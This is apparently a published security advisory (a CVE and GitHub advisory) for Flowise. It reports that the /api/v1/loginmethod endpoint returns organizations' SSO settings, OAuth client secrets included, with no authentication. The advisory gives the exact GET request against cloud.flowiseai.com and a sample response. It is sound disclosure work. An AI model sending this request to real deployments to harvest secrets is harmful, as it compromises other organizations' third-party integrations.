Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request

### Summary I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext. ### PoC The following request can be sent by anyone on the internet without any cookies or authorization headers. Request ```http GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2 Host: cloud.flowiseai.com Accept: application/json Content-Type: application/json ``` Response: The server returns 200 OK with sensitive credentials: ```json { "providers": [ { "id": "a04ba769-b810-481d-8d6b-84f8c377dea5", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "azure", "config": { "tenantID": "", "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "google", "config": { "clientID": "123455", "clientSecret": "123455" }, "status": "enable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "auth0", "config": { "domain": "", "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" }, { "id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "name": "github", "config": { "clientID": "", "clientSecret": "" }, "status": "disable", "createdDate": "2025-12-26T18:52:33.453Z", "updatedDate": "2025-12-26T19:31:56.087Z", "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2" } ], "callbacks": [ { "providerName": "azure", "callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback" }, { "providerName": "google", "callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback" }, { "providerName": "auth0", "callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback" }, { "providerName": "github", "callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback" } ] } ``` ### Affected Deployments - FlowiseAI Cloud (cloud.flowiseai.com) - Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed ### Impact An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.

CVSS 3.0

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-306, CWE-312

Also known as

CVE-2026-56270

• github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx
• github.com/FlowiseAI/Flowise